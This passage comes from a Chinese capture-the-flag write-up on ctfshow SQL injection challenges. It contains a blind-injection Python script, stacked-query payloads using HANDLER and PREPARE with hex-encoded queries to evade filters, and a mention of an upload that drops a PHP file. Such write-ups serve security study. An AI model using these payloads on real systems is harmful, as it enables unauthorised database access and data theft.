    #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))<{},username,id)".format(createNum(i),createNum(1),createNum(j))
    payload="if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},{}))<{},username,id)".format(createNum(i),createNum(1),createNum(j))

    params={
        'u':payload
    }
    r=requests.get(url=url,params=params)
    #print(r.text)
    if len(r.text)<300:
        max=j
    else:
        min=j

```

web224

一道神仙题。。我以为看到最后以为是zip文件上传然后目录穿越，转念一想我在做SQL注入而不是文件上传啊，就一脸蒙蔽，又是一种奇奇怪怪的姿势。。。

具体参考颖奇大师傅的博客：[你没见过的注入](#)

在ctfshow群的群文件找一下，可以找到一个payload.bin文件，这个文件就是大师傅们处理好的，可以直接用，上传上去就可以生成1.php，然后拿flag就行了。

web225

比较经典的一题了，强网杯的随便注，三种方法，具体参考：

强网杯的随便注

三种方法，一种是handler，一种是prepare，还有一种是rename和alter。因为ban了alter，所以这题只有两种方法了。

首先利用堆叠注入把表名，列名都给注出来：

```
';show tables;#  
';show columns from `ctfshow_flagasa`;#
```

handler:

```
';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;
```

预处理的话就要变化一下，因为强网杯那题没ban掉set，但是这题ban了set，所以就不定义变量了，直接写字符串：

```
';prepare feng from concat('sele','ct * from `ctfshow_flagasa`');execute feng;#
```

web226

思维太局限，看到把左括号给ban了就太迷了，觉得concat不能用，那么预处理就不行，然后就查不到表名，handler也不行。看了一下y4师傅的，姿势，使用十六进制，太妙了，真的是自己的思维太局限：

```
';prepare feng from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute feng;#
```

后面那串16进制加密